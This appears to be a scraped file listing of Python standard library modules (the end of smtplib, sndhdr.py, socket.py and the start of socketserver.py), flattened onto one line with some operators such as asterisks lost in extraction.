socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) self.file = None self.sock.connect(host) except OSError: if self.debuglevel > 0: self._print_debug('connect fail:', host) if self.sock: self.sock.close() self.sock = None raise (code, msg) = self.getreply() if self.debuglevel > 0: self._print_debug('connect:', msg) return (code, msg) # Test the sendmail method, which tests most of the others. # Note: This always sends to localhost. if __name__ == '__main__': def prompt(prompt): sys.stdout.write(prompt + ": ") sys.stdout.flush() return sys.stdin.readline().strip() fromaddr = prompt("From") toaddrs = prompt("To").split(',') print("Enter message, end with ^D:") msg = '' while 1: line = sys.stdin.readline() if not line: break msg = msg + line print("Message length is %d" % len(msg)) server = SMTP('localhost') server.set_debuglevel(1) server.sendmail(fromaddr, toaddrs, msg) server.quit()	43.4 KB	2024-04-17 17:55
📄 sndhdr.py """Routines to help recognizing sound files. Function whathdr() recognizes various types of sound file headers. It understands almost all headers that SOX can decode. The return tuple contains the following items, in this order: - file type (as SOX understands it) - sampling rate (0 if unknown or hard to decode) - number of channels (0 if unknown or hard to decode) - number of frames in the file (-1 if unknown or hard to decode) - number of bits/sample, or 'U' for U-LAW, or 'A' for A-LAW If the file doesn't have a recognizable type, it returns None. If the file can't be opened, OSError is raised. To compute the total time, divide the number of frames by the sampling rate (a frame contains a sample for each channel). Function what() calls whathdr(). (It used to also use some heuristics for raw data, but this doesn't work very well.) Finally, the function test() is a simple main program that calls what() for all files mentioned on the argument list. For directory arguments it calls what() for all files in that directory. Default argument is "." (testing all files in the current directory). The option -r tells it to recurse down directories found inside explicitly given directories. """ # The file structure is top-down except that the test program and its # subroutine come last. __all__ = ['what', 'whathdr'] from collections import namedtuple SndHeaders = namedtuple('SndHeaders', 'filetype framerate nchannels nframes sampwidth') SndHeaders.filetype.__doc__ = ("""The value for type indicates the data type and will be one of the strings 'aifc', 'aiff', 'au','hcom', 'sndr', 'sndt', 'voc', 'wav', '8svx', 'sb', 'ub', or 'ul'.""") SndHeaders.framerate.__doc__ = ("""The sampling_rate will be either the actual value or 0 if unknown or difficult to decode.""") SndHeaders.nchannels.__doc__ = ("""The number of channels or 0 if it cannot be determined or if the value is difficult to decode.""") SndHeaders.nframes.__doc__ = ("""The value for frames will be either the number of frames or -1.""") SndHeaders.sampwidth.__doc__ = ("""Either the sample size in bits or 'A' for A-LAW or 'U' for u-LAW.""") def what(filename): """Guess the type of a sound file.""" res = whathdr(filename) return res def whathdr(filename): """Recognize sound headers.""" with open(filename, 'rb') as f: h = f.read(512) for tf in tests: res = tf(h, f) if res: return SndHeaders(res) return None #-----------------------------------# # Subroutines per sound header type # #-----------------------------------# tests = [] def test_aifc(h, f): import aifc if not h.startswith(b'FORM'): return None if h[8:12] == b'AIFC': fmt = 'aifc' elif h[8:12] == b'AIFF': fmt = 'aiff' else: return None f.seek(0) try: a = aifc.open(f, 'r') except (EOFError, aifc.Error): return None return (fmt, a.getframerate(), a.getnchannels(), a.getnframes(), 8 a.getsampwidth()) tests.append(test_aifc) def test_au(h, f): if h.startswith(b'.snd'): func = get_long_be elif h[:4] in (b'\0ds.', b'dns.'): func = get_long_le else: return None filetype = 'au' hdr_size = func(h[4:8]) data_size = func(h[8:12]) encoding = func(h[12:16]) rate = func(h[16:20]) nchannels = func(h[20:24]) sample_size = 1 # default if encoding == 1: sample_bits = 'U' elif encoding == 2: sample_bits = 8 elif encoding == 3: sample_bits = 16 sample_size = 2 else: sample_bits = '?' frame_size = sample_size * nchannels if frame_size: nframe = data_size / frame_size else: nframe = -1 return filetype, rate, nchannels, nframe, sample_bits tests.append(test_au) def test_hcom(h, f): if h[65:69] != b'FSSD' or h[128:132] != b'HCOM': return None divisor = get_long_be(h[144:148]) if divisor: rate = 22050 / divisor else: rate = 0 return 'hcom', rate, 1, -1, 8 tests.append(test_hcom) def test_voc(h, f): if not h.startswith(b'Creative Voice File\032'): return None sbseek = get_short_le(h[20:22]) rate = 0 if 0 <= sbseek < 500 and h[sbseek] == 1: ratecode = 256 - h[sbseek+4] if ratecode: rate = int(1000000.0 / ratecode) return 'voc', rate, 1, -1, 8 tests.append(test_voc) def test_wav(h, f): import wave # 'RIFF' <len> 'WAVE' 'fmt ' <len> if not h.startswith(b'RIFF') or h[8:12] != b'WAVE' or h[12:16] != b'fmt ': return None f.seek(0) try: w = wave.open(f, 'r') except (EOFError, wave.Error): return None return ('wav', w.getframerate(), w.getnchannels(), w.getnframes(), 8w.getsampwidth()) tests.append(test_wav) def test_8svx(h, f): if not h.startswith(b'FORM') or h[8:12] != b'8SVX': return None # Should decode it to get #channels -- assume always 1 return '8svx', 0, 1, 0, 8 tests.append(test_8svx) def test_sndt(h, f): if h.startswith(b'SOUND'): nsamples = get_long_le(h[8:12]) rate = get_short_le(h[20:22]) return 'sndt', rate, 1, nsamples, 8 tests.append(test_sndt) def test_sndr(h, f): if h.startswith(b'\0\0'): rate = get_short_le(h[2:4]) if 4000 <= rate <= 25000: return 'sndr', rate, 1, -1, 8 tests.append(test_sndr) #-------------------------------------------# # Subroutines to extract numbers from bytes # #-------------------------------------------# def get_long_be(b): return (b[0] << 24) \| (b[1] << 16) \| (b[2] << 8) \| b[3] def get_long_le(b): return (b[3] << 24) \| (b[2] << 16) \| (b[1] << 8) \| b[0] def get_short_be(b): return (b[0] << 8) \| b[1] def get_short_le(b): return (b[1] << 8) \| b[0] #--------------------# # Small test program # #--------------------# def test(): import sys recursive = 0 if sys.argv[1:] and sys.argv[1] == '-r': del sys.argv[1:2] recursive = 1 try: if sys.argv[1:]: testall(sys.argv[1:], recursive, 1) else: testall(['.'], recursive, 1) except KeyboardInterrupt: sys.stderr.write('\n[Interrupted]\n') sys.exit(1) def testall(list, recursive, toplevel): import sys import os for filename in list: if os.path.isdir(filename): print(filename + '/:', end=' ') if recursive or toplevel: print('recursing down:') import glob names = glob.glob(os.path.join(filename, '')) testall(names, recursive, 0) else: print('* directory (use -r) ') else: print(filename + ':', end=' ') sys.stdout.flush() try: print(what(filename)) except OSError: print(' not found *') if __name__ == '__main__': test()	6.92 KB	2024-04-17 17:55
📄 socket.py # Wrapper module for _socket, providing some additional facilities # implemented in Python. """\ This module provides socket operations and some related functions. On Unix, it supports IP (Internet Protocol) and Unix domain sockets. On other systems, it only supports IP. Functions specific for a socket are available as methods of the socket object. Functions: socket() -- create a new socket object socketpair() -- create a pair of new socket objects [] fromfd() -- create a socket object from an open file descriptor [] fromshare() -- create a socket object from data received from socket.share() [] gethostname() -- return the current hostname gethostbyname() -- map a hostname to its IP number gethostbyaddr() -- map an IP number or hostname to DNS info getservbyname() -- map a service name and a protocol name to a port number getprotobyname() -- map a protocol name (e.g. 'tcp') to a number ntohs(), ntohl() -- convert 16, 32 bit int from network to host byte order htons(), htonl() -- convert 16, 32 bit int from host to network byte order inet_aton() -- convert IP addr string (123.45.67.89) to 32-bit packed format inet_ntoa() -- convert 32-bit packed format IP to string (123.45.67.89) socket.getdefaulttimeout() -- get the default timeout value socket.setdefaulttimeout() -- set the default timeout value create_connection() -- connects to an address, with an optional timeout and optional source address. [] not available on all platforms! Special objects: SocketType -- type object for socket objects error -- exception raised for I/O errors has_ipv6 -- boolean value indicating if IPv6 is supported IntEnum constants: AF_INET, AF_UNIX -- socket domains (first argument to socket() call) SOCK_STREAM, SOCK_DGRAM, SOCK_RAW -- socket types (second argument) Integer constants: Many other constants may be defined; these may be used in calls to the setsockopt() and getsockopt() methods. """ import _socket from _socket import * import os, sys, io, selectors from enum import IntEnum, IntFlag try: import errno except ImportError: errno = None EBADF = getattr(errno, 'EBADF', 9) EAGAIN = getattr(errno, 'EAGAIN', 11) EWOULDBLOCK = getattr(errno, 'EWOULDBLOCK', 11) __all__ = ["fromfd", "getfqdn", "create_connection", "AddressFamily", "SocketKind"] __all__.extend(os._get_exports_list(_socket)) # Set up the socket.AF_* socket.SOCK_* constants as members of IntEnums for # nicer string representations. # Note that _socket only knows about the integer values. The public interface # in this module understands the enums and translates them back from integers # where needed (e.g. .family property of a socket object). IntEnum._convert( 'AddressFamily', __name__, lambda C: C.isupper() and C.startswith('AF_')) IntEnum._convert( 'SocketKind', __name__, lambda C: C.isupper() and C.startswith('SOCK_')) IntFlag._convert( 'MsgFlag', __name__, lambda C: C.isupper() and C.startswith('MSG_')) IntFlag._convert( 'AddressInfo', __name__, lambda C: C.isupper() and C.startswith('AI_')) _LOCALHOST = '127.0.0.1' _LOCALHOST_V6 = '::1' def _intenum_converter(value, enum_klass): """Convert a numeric family value to an IntEnum member. If it's not a known member, return the numeric value itself. """ try: return enum_klass(value) except ValueError: return value _realsocket = socket # WSA error codes if sys.platform.lower().startswith("win"): errorTab = {} errorTab[10004] = "The operation was interrupted." errorTab[10009] = "A bad file handle was passed." errorTab[10013] = "Permission denied." errorTab[10014] = "A fault occurred on the network??" # WSAEFAULT errorTab[10022] = "An invalid operation was attempted." errorTab[10035] = "The socket operation would block" errorTab[10036] = "A blocking operation is already in progress." errorTab[10048] = "The network address is in use." errorTab[10054] = "The connection has been reset." errorTab[10058] = "The network has been shut down." errorTab[10060] = "The operation timed out." errorTab[10061] = "Connection refused." errorTab[10063] = "The name is too long." errorTab[10064] = "The host is down." errorTab[10065] = "The host is unreachable." __all__.append("errorTab") class _GiveupOnSendfile(Exception): pass class socket(_socket.socket): """A subclass of _socket.socket adding the makefile() method.""" __slots__ = ["__weakref__", "_io_refs", "_closed"] def __init__(self, family=-1, type=-1, proto=-1, fileno=None): # For user code address family and type values are IntEnum members, but # for the underlying _socket.socket they're just integers. The # constructor of _socket.socket converts the given argument to an # integer automatically. if fileno is None: if family == -1: family = AF_INET if type == -1: type = SOCK_STREAM if proto == -1: proto = 0 _socket.socket.__init__(self, family, type, proto, fileno) self._io_refs = 0 self._closed = False def __enter__(self): return self def __exit__(self, args): if not self._closed: self.close() def __repr__(self): """Wrap __repr__() to reveal the real class name and socket address(es). """ closed = getattr(self, '_closed', False) s = "<%s.%s%s fd=%i, family=%s, type=%s, proto=%i" \ % (self.__class__.__module__, self.__class__.__qualname__, " [closed]" if closed else "", self.fileno(), self.family, self.type, self.proto) if not closed: try: laddr = self.getsockname() if laddr: s += ", laddr=%s" % str(laddr) except error: pass try: raddr = self.getpeername() if raddr: s += ", raddr=%s" % str(raddr) except error: pass s += '>' return s def __getstate__(self): raise TypeError("Cannot serialize socket object") def dup(self): """dup() -> socket object Duplicate the socket. Return a new socket object connected to the same system resource. The new socket is non-inheritable. """ fd = dup(self.fileno()) sock = self.__class__(self.family, self.type, self.proto, fileno=fd) sock.settimeout(self.gettimeout()) return sock def accept(self): """accept() -> (socket object, address info) Wait for an incoming connection. Return a new socket representing the connection, and the address of the client. For IP sockets, the address info is a pair (hostaddr, port). """ fd, addr = self._accept() sock = socket(self.family, self.type, self.proto, fileno=fd) # Issue #7995: if no default timeout is set and the listening # socket had a (non-zero) timeout, force the new socket in blocking # mode to override platform-specific socket flags inheritance. if getdefaulttimeout() is None and self.gettimeout(): sock.setblocking(True) return sock, addr def makefile(self, mode="r", buffering=None, , encoding=None, errors=None, newline=None): """makefile(...) -> an I/O stream connected to the socket The arguments are as for io.open() after the filename, except the only supported mode values are 'r' (default), 'w' and 'b'. """ # XXX refactor to share code? if not set(mode) <= {"r", "w", "b"}: raise ValueError("invalid mode %r (only r, w, b allowed)" % (mode,)) writing = "w" in mode reading = "r" in mode or not writing assert reading or writing binary = "b" in mode rawmode = "" if reading: rawmode += "r" if writing: rawmode += "w" raw = SocketIO(self, rawmode) self._io_refs += 1 if buffering is None: buffering = -1 if buffering < 0: buffering = io.DEFAULT_BUFFER_SIZE if buffering == 0: if not binary: raise ValueError("unbuffered streams must be binary") return raw if reading and writing: buffer = io.BufferedRWPair(raw, raw, buffering) elif reading: buffer = io.BufferedReader(raw, buffering) else: assert writing buffer = io.BufferedWriter(raw, buffering) if binary: return buffer text = io.TextIOWrapper(buffer, encoding, errors, newline) text.mode = mode return text if hasattr(os, 'sendfile'): def _sendfile_use_sendfile(self, file, offset=0, count=None): self._check_sendfile_params(file, offset, count) sockno = self.fileno() try: fileno = file.fileno() except (AttributeError, io.UnsupportedOperation) as err: raise _GiveupOnSendfile(err) # not a regular file try: fsize = os.fstat(fileno).st_size except OSError as err: raise _GiveupOnSendfile(err) # not a regular file if not fsize: return 0 # empty file blocksize = fsize if not count else count timeout = self.gettimeout() if timeout == 0: raise ValueError("non-blocking sockets are not supported") # poll/select have the advantage of not requiring any # extra file descriptor, contrarily to epoll/kqueue # (also, they require a single syscall). if hasattr(selectors, 'PollSelector'): selector = selectors.PollSelector() else: selector = selectors.SelectSelector() selector.register(sockno, selectors.EVENT_WRITE) total_sent = 0 # localize variable access to minimize overhead selector_select = selector.select os_sendfile = os.sendfile try: while True: if timeout and not selector_select(timeout): raise _socket.timeout('timed out') if count: blocksize = count - total_sent if blocksize <= 0: break try: sent = os_sendfile(sockno, fileno, offset, blocksize) except BlockingIOError: if not timeout: # Block until the socket is ready to send some # data; avoids hogging CPU resources. selector_select() continue except OSError as err: if total_sent == 0: # We can get here for different reasons, the main # one being 'file' is not a regular mmap(2)-like # file, in which case we'll fall back on using # plain send(). raise _GiveupOnSendfile(err) raise err from None else: if sent == 0: break # EOF offset += sent total_sent += sent return total_sent finally: if total_sent > 0 and hasattr(file, 'seek'): file.seek(offset) else: def _sendfile_use_sendfile(self, file, offset=0, count=None): raise _GiveupOnSendfile( "os.sendfile() not available on this platform") def _sendfile_use_send(self, file, offset=0, count=None): self._check_sendfile_params(file, offset, count) if self.gettimeout() == 0: raise ValueError("non-blocking sockets are not supported") if offset: file.seek(offset) blocksize = min(count, 8192) if count else 8192 total_sent = 0 # localize variable access to minimize overhead file_read = file.read sock_send = self.send try: while True: if count: blocksize = min(count - total_sent, blocksize) if blocksize <= 0: break data = memoryview(file_read(blocksize)) if not data: break # EOF while True: try: sent = sock_send(data) except BlockingIOError: continue else: total_sent += sent if sent < len(data): data = data[sent:] else: break return total_sent finally: if total_sent > 0 and hasattr(file, 'seek'): file.seek(offset + total_sent) def _check_sendfile_params(self, file, offset, count): if 'b' not in getattr(file, 'mode', 'b'): raise ValueError("file should be opened in binary mode") if not self.type & SOCK_STREAM: raise ValueError("only SOCK_STREAM type sockets are supported") if count is not None: if not isinstance(count, int): raise TypeError( "count must be a positive integer (got {!r})".format(count)) if count <= 0: raise ValueError( "count must be a positive integer (got {!r})".format(count)) def sendfile(self, file, offset=0, count=None): """sendfile(file[, offset[, count]]) -> sent Send a file until EOF is reached by using high-performance os.sendfile() and return the total number of bytes which were sent. file must be a regular file object opened in binary mode. If os.sendfile() is not available (e.g. Windows) or file is not a regular file socket.send() will be used instead. offset tells from where to start reading the file. If specified, count is the total number of bytes to transmit as opposed to sending the file until EOF is reached. File position is updated on return or also in case of error in which case file.tell() can be used to figure out the number of bytes which were sent. The socket must be of SOCK_STREAM type. Non-blocking sockets are not supported. """ try: return self._sendfile_use_sendfile(file, offset, count) except _GiveupOnSendfile: return self._sendfile_use_send(file, offset, count) def _decref_socketios(self): if self._io_refs > 0: self._io_refs -= 1 if self._closed: self.close() def _real_close(self, _ss=_socket.socket): # This function should not reference any globals. See issue #808164. _ss.close(self) def close(self): # This function should not reference any globals. See issue #808164. self._closed = True if self._io_refs <= 0: self._real_close() def detach(self): """detach() -> file descriptor Close the socket object without closing the underlying file descriptor. The object cannot be used after this call, but the file descriptor can be reused for other purposes. The file descriptor is returned. """ self._closed = True return super().detach() @property def family(self): """Read-only access to the address family for this socket. """ return _intenum_converter(super().family, AddressFamily) @property def type(self): """Read-only access to the socket type. """ return _intenum_converter(super().type, SocketKind) if os.name == 'nt': def get_inheritable(self): return os.get_handle_inheritable(self.fileno()) def set_inheritable(self, inheritable): os.set_handle_inheritable(self.fileno(), inheritable) else: def get_inheritable(self): return os.get_inheritable(self.fileno()) def set_inheritable(self, inheritable): os.set_inheritable(self.fileno(), inheritable) get_inheritable.__doc__ = "Get the inheritable flag of the socket" set_inheritable.__doc__ = "Set the inheritable flag of the socket" def fromfd(fd, family, type, proto=0): """ fromfd(fd, family, type[, proto]) -> socket object Create a socket object from a duplicate of the given file descriptor. The remaining arguments are the same as for socket(). """ nfd = dup(fd) return socket(family, type, proto, nfd) if hasattr(_socket.socket, "share"): def fromshare(info): """ fromshare(info) -> socket object Create a socket object from the bytes object returned by socket.share(pid). """ return socket(0, 0, 0, info) __all__.append("fromshare") if hasattr(_socket, "socketpair"): def socketpair(family=None, type=SOCK_STREAM, proto=0): """socketpair([family[, type[, proto]]]) -> (socket object, socket object) Create a pair of socket objects from the sockets returned by the platform socketpair() function. The arguments are the same as for socket() except the default family is AF_UNIX if defined on the platform; otherwise, the default is AF_INET. """ if family is None: try: family = AF_UNIX except NameError: family = AF_INET a, b = _socket.socketpair(family, type, proto) a = socket(family, type, proto, a.detach()) b = socket(family, type, proto, b.detach()) return a, b else: # Origin: https://gist.github.com/4325783, by Geert Jansen. Public domain. def socketpair(family=AF_INET, type=SOCK_STREAM, proto=0): if family == AF_INET: host = _LOCALHOST elif family == AF_INET6: host = _LOCALHOST_V6 else: raise ValueError("Only AF_INET and AF_INET6 socket address families " "are supported") if type != SOCK_STREAM: raise ValueError("Only SOCK_STREAM socket type is supported") if proto != 0: raise ValueError("Only protocol zero is supported") # We create a connected TCP socket. Note the trick with # setblocking(False) that prevents us from having to create a thread. lsock = socket(family, type, proto) try: lsock.bind((host, 0)) lsock.listen() # On IPv6, ignore flow_info and scope_id addr, port = lsock.getsockname()[:2] csock = socket(family, type, proto) try: csock.setblocking(False) try: csock.connect((addr, port)) except (BlockingIOError, InterruptedError): pass csock.setblocking(True) ssock, _ = lsock.accept() except: csock.close() raise finally: lsock.close() return (ssock, csock) __all__.append("socketpair") socketpair.__doc__ = """socketpair([family[, type[, proto]]]) -> (socket object, socket object) Create a pair of socket objects from the sockets returned by the platform socketpair() function. The arguments are the same as for socket() except the default family is AF_UNIX if defined on the platform; otherwise, the default is AF_INET. """ _blocking_errnos = { EAGAIN, EWOULDBLOCK } class SocketIO(io.RawIOBase): """Raw I/O implementation for stream sockets. This class supports the makefile() method on sockets. It provides the raw I/O interface on top of a socket object. """ # One might wonder why not let FileIO do the job instead. There are two # main reasons why FileIO is not adapted: # - it wouldn't work under Windows (where you can't used read() and # write() on a socket handle) # - it wouldn't work with socket timeouts (FileIO would ignore the # timeout and consider the socket non-blocking) # XXX More docs def __init__(self, sock, mode): if mode not in ("r", "w", "rw", "rb", "wb", "rwb"): raise ValueError("invalid mode: %r" % mode) io.RawIOBase.__init__(self) self._sock = sock if "b" not in mode: mode += "b" self._mode = mode self._reading = "r" in mode self._writing = "w" in mode self._timeout_occurred = False def readinto(self, b): """Read up to len(b) bytes into the writable buffer b and return the number of bytes read. If the socket is non-blocking and no bytes are available, None is returned. If b is non-empty, a 0 return value indicates that the connection was shutdown at the other end. """ self._checkClosed() self._checkReadable() if self._timeout_occurred: raise OSError("cannot read from timed out object") while True: try: return self._sock.recv_into(b) except timeout: self._timeout_occurred = True raise except error as e: if e.args[0] in _blocking_errnos: return None raise def write(self, b): """Write the given bytes or bytearray object b to the socket and return the number of bytes written. This can be less than len(b) if not all data could be written. If the socket is non-blocking and no bytes could be written None is returned. """ self._checkClosed() self._checkWritable() try: return self._sock.send(b) except error as e: # XXX what about EINTR? if e.args[0] in _blocking_errnos: return None raise def readable(self): """True if the SocketIO is open for reading. """ if self.closed: raise ValueError("I/O operation on closed socket.") return self._reading def writable(self): """True if the SocketIO is open for writing. """ if self.closed: raise ValueError("I/O operation on closed socket.") return self._writing def seekable(self): """True if the SocketIO is open for seeking. """ if self.closed: raise ValueError("I/O operation on closed socket.") return super().seekable() def fileno(self): """Return the file descriptor of the underlying socket. """ self._checkClosed() return self._sock.fileno() @property def name(self): if not self.closed: return self.fileno() else: return -1 @property def mode(self): return self._mode def close(self): """Close the SocketIO object. This doesn't close the underlying socket, except if all references to it have disappeared. """ if self.closed: return io.RawIOBase.close(self) self._sock._decref_socketios() self._sock = None def getfqdn(name=''): """Get fully qualified domain name from name. An empty argument is interpreted as meaning the local host. First the hostname returned by gethostbyaddr() is checked, then possibly existing aliases. In case no FQDN is available, hostname from gethostname() is returned. """ name = name.strip() if not name or name == '0.0.0.0': name = gethostname() try: hostname, aliases, ipaddrs = gethostbyaddr(name) except error: pass else: aliases.insert(0, hostname) for name in aliases: if '.' in name: break else: name = hostname return name _GLOBAL_DEFAULT_TIMEOUT = object() def create_connection(address, timeout=_GLOBAL_DEFAULT_TIMEOUT, source_address=None): """Connect to address and return the socket object. Convenience function. Connect to address (a 2-tuple ``(host, port)``) and return the socket object. Passing the optional timeout parameter will set the timeout on the socket instance before attempting to connect. If no timeout is supplied, the global default timeout setting returned by :func:`getdefaulttimeout` is used. If source_address is set it must be a tuple of (host, port) for the socket to bind as a source address before making the connection. A host of '' or port 0 tells the OS to use the default. """ host, port = address err = None for res in getaddrinfo(host, port, 0, SOCK_STREAM): af, socktype, proto, canonname, sa = res sock = None try: sock = socket(af, socktype, proto) if timeout is not _GLOBAL_DEFAULT_TIMEOUT: sock.settimeout(timeout) if source_address: sock.bind(source_address) sock.connect(sa) # Break explicitly a reference cycle err = None return sock except error as _: err = _ if sock is not None: sock.close() if err is not None: try: raise err finally: # Break explicitly a reference cycle err = None else: raise error("getaddrinfo returns an empty list") def getaddrinfo(host, port, family=0, type=0, proto=0, flags=0): """Resolve host and port into list of address info entries. Translate the host/port argument into a sequence of 5-tuples that contain all the necessary arguments for creating a socket connected to that service. host is a domain name, a string representation of an IPv4/v6 address or None. port is a string service name such as 'http', a numeric port number or None. By passing None as the value of host and port, you can pass NULL to the underlying C API. The family, type and proto arguments can be optionally specified in order to narrow the list of addresses returned. Passing zero as a value for each of these arguments selects the full range of results. """ # We override this function since we want to translate the numeric family # and socket type values to enum constants. addrlist = [] for res in _socket.getaddrinfo(host, port, family, type, proto, flags): af, socktype, proto, canonname, sa = res addrlist.append((_intenum_converter(af, AddressFamily), _intenum_converter(socktype, SocketKind), proto, canonname, sa)) return addrlist	26.83 KB	2024-04-17 17:55
📄 socketserver.py """Generic socket server classes. This module tries to capture the various aspects of defining a server: For socket-based servers: - address family: - AF_INET{,6}: IP (Internet Protocol) sockets (default) - AF_UNIX: Unix domain sockets - others, e.g. AF_DECNET are conceivable (see <socket.h> - socket type: - SOCK_STREAM (reliable stream, e.g. TCP) - SOCK_DGRAM (datagrams, e.g. UDP) For request-based servers (including socket-based): - client address verification before further looking at the request (This is actually a hook for any processing that needs to look at the request before anything else, e.g. logging) - how to handle multiple requests: - synchronous (one request is handled at a time) - forking (each request is handled by a new process) - threading (each request is handled by a new thread) The classes in this module favor the server type that is simplest to write: a synchronous TCP/IP server. This is bad class design, but saves some typing. (There's also the issue that a deep class hierarchy slows down method lookups.) There are five classes in an inheritance diagram, four of which represent synchronous servers of four types: +------------+ \| BaseServer \| +------------+ \| v +-----------+ +------------------+ \| TCPServer \|------->\| UnixStreamServer \| +-----------+ +------------------+ \| v +-----------+ +--------------------+ \| UDPServer \|------->\| UnixDatagramServer \| +-----------+ +--------------------+ Note that UnixDatagramServer derives from UDPServer, not from UnixStreamServer -- the only difference between an IP and a Unix stream server is the address family, which is simply repeated in both unix server classes. Forking and threading versions of each type of server can be created using the ForkingMixIn and ThreadingMixIn mix-in classes. For instance, a threading UDP server class is created as follows: class ThreadingUDPServer(ThreadingMixIn, UDPServer): pass The Mix-in class must come first, since it overrides a method defined in UDPServer! Setting the various member variables also changes the behavior of the underlying server mechanism. To implement a service, you must derive a class from BaseRequestHandler and redefine its handle() method. You can then run various versions of the service by combining one of the server classes with your request handler class. The request handler class must be different for datagram or stream services. This can be hidden by using the request handler subclasses StreamRequestHandler or DatagramRequestHandler. Of course, you still have to use your head! For instance, it makes no sense to use a forking server if the service contains state in memory that can be modified by requests (since the modifications in the child process would never reach the initial state kept in the parent process and passed to each child). In this case, you can use a threading server, but you will probably have to use locks to avoid two requests that come in nearly simultaneous to apply conflicting changes to the server state. On the other hand, if you are building e.g. an HTTP server, where all data is stored externally (e.g. in the file system), a synchronous class will essentially render the service "deaf" while one request is being handled -- which may be for a very long time if a client is slow to read all the data it has requested. Here a threading or forking server is appropriate. In some cases, it may be appropriate to process part of a request synchronously, but to finish processing in a forked child depending on the request data. This can be implemented by using a synchronous server and doing an explicit fork in the request handler class handle() method. Another approach to handling multiple simultaneous requests in an environment that supports neither threads nor fork (or where these are too expensive or inappropriate for the service) is to maintain an explicit table of partially finished requests and to use a selector to decide which request to work on next (or whether to handle a new incoming request). This is particularly important for stream services where each client can potentially be connected for a long time (if threads or subprocesses cannot be used). Future work: - Standard classes for Sun RPC (which uses either UDP or TCP) - Standard mix-in classes to implement various authentication and encryption schemes XXX Open problems: - What to do with out-of-band data? BaseServer: - split generic "request" functionality out into BaseServer class. Copyright (C) 2000 Luke Kenneth Casson Leighton <lkcl@samba.org> example: read entries from a SQL database (requires overriding get_request() to return a table entry from the database). entry is processed by a RequestHandlerClass. """ # Author of the BaseServer patch: Luke Kenneth Casson Leighton __version__ = "0.4" import socket import selectors import os import sys import threading from io import BufferedIOBase from time import monotonic as time __all__ = ["BaseServer", "TCPServer", "UDPServer", "ThreadingUDPServer", "ThreadingTCPServer", "BaseRequestHandler", "StreamRequestHandler", "DatagramRequestHandler", "ThreadingMixIn"] if hasattr(os, "fork"): __all__.extend(["ForkingUDPServer","ForkingTCPServer", "ForkingMixIn"]) if hasattr(socket, "AF_UNIX"): __all__.extend(["UnixStreamServer","UnixDatagramServer", "ThreadingUnixStreamServer", "ThreadingUnixDatagramServer"]) # poll/select have the advantage of not requiring any extra file descriptor, # contrarily to epoll/kqueue (also, they require a single syscall). if hasattr(selectors, 'PollSelector'): _ServerSelector = selectors.PollSelector else: _ServerSelector = selectors.SelectSelector class BaseServer: """Base class for server classes. Methods for the caller: - __init__(server_address, RequestHandlerClass) - serve_forever(poll_interval=0.5) - shutdown() - handle_request() # if you do not use serve_forever() - fileno() -> int # for selector Methods that may be overridden: - server_bind() - server_activate() - get_request() -> request, client_address - handle_timeout() - verify_request(request, client_address) - server_close() - process_request(request, client_address) - shutdown_request(request) - close_request(request) - service_actions() - handle_error() Methods for derived classes: - finish_request(request, client_address) Class variables that may be overridden by derived classes or instances: - timeout - address_family - socket_type - allow_reuse_address Instance variables: - RequestHandlerClass - socket """ timeout = None def __init__(self, server_address, RequestHandlerClass): """Constructor. May be extended, do not override.""" self.server_address = server_address self.RequestHandlerClass = RequestHandlerClass self.__is_shut_down = threading.Event() self.__shutdown_request = False def server_activate(self): """Called by constructor to activate the server. May be overridden. """ pass def serve_forever(self, poll_interval=0.5): """Handle one request at a time until shutdown. Polls for shutdown every poll_interval seconds. Ignores self.timeout. If you need to do periodic tasks, do them in another thread. """ self.__is_shut_down.clear() try: # XXX: Consider using another file descriptor or connecting to the # socket to wake this up instead of polling. Polling reduces our # responsiveness to a shutdown request and wastes cpu at all other # times. with _ServerSelector() as selector: selector.register(self, selectors.EVENT_READ) while not self.__shutdown_request: ready = selector.select(poll_interval) # bpo-35017: shutdown() called during select(), exit immediately. if self.__shutdown_request: break if ready: self._handle_request_noblock() self.service_actions() finally: self.__shutdown_request = False self.__is_shut_down.set() def shutdown(self): """Stops the serve_forever loop. Blocks until the loop has finished. This must be called while serve_forever() is running in another thread, or it will deadlock. """ self.__shutdown_request = True self.__is_shut_down.wait() def service_actions(self): """Called by the serve_forever() loop. May be overridden by a subclass / Mixin to implement any code that needs to be run during the loop. """ pass # The distinction between handling, getting, processing and finishing a # request is fairly arbitrary. Remember: # # - handle_request() is the top-level call. It calls selector.select(), # get_request(), verify_request() and process_request() # - get_request() is different for stream or datagram sockets # - process_request() is the place that may fork a new process or create a # new thread to finish the request # - finish_request() instantiates the request handler class; this # constructor will handle the request all by itself def handle_request(self): """Handle one request, possibly blocking. Respects self.timeout. """ # Support people who used socket.settimeout() to escape # handle_request before self.timeout was available. timeout = self.socket.gettimeout() if timeout is None: timeout = self.timeout elif self.timeout is not None: timeout = min(timeout, self.timeout) if timeout is not None: deadline = time() + timeout # Wait until a request arrives or the timeout expires - the loop is # necessary to accommodate early wakeups due to EINTR. with _ServerSelector() as selector: selector.register(self, selectors.EVENT_READ) while True: ready = selector.select(timeout) if ready: return self._handle_request_noblock() else: if timeout is not None: timeout = deadline - time() if timeout < 0: return self.handle_timeout() def _handle_request_noblock(self): """Handle one request, without blocking. I assume that selector.select() has returned that the socket is readable before this function was called, so there should be no risk of blocking in get_request(). """ try: request, client_address = self.get_request() except OSError: return if self.verify_request(request, client_address): try: self.process_request(request, client_address) except Exception: self.handle_error(request, client_address) self.shutdown_request(request) except: self.shutdown_request(request) raise else: self.shutdown_request(request) def handle_timeout(self): """Called if no new request arrives within self.timeout. Overridden by ForkingMixIn. """ pass def verify_request(self, request, client_address): """Verify the request. May be overridden. Return True if we should proceed with this request. """ return True def process_request(self, request, client_address): """Call finish_request. Overridden by ForkingMixIn and ThreadingMixIn. """ self.finish_request(request, client_address) self.shutdown_request(request) def server_close(self): """Called to clean-up the server. May be overridden. """ pass def finish_request(self, request, client_address): """Finish one request by instantiating RequestHandlerClass.""" self.RequestHandlerClass(request, client_address, self) def shutdown_request(self, request): """Called to shutdown and close an individual request.""" self.close_request(request) def close_request(self, request): """Called to clean up an individual request.""" pass def handle_error(self, request, client_address): """Handle an error gracefully. May be overridden. The default is to print a traceback and continue. """ print('-'40, file=sys.stderr) print('Exception happened during processing of request from', client_address, file=sys.stderr) import traceback traceback.print_exc() print('-'40, file=sys.stderr) def __enter__(self): return self def __exit__(self, args): self.server_close() class TCPServer(BaseServer): """Base class for various socket-based server classes. Defaults to synchronous IP stream (i.e., TCP). Methods for the caller: - __init__(server_address, RequestHandlerClass, bind_and_activate=True) 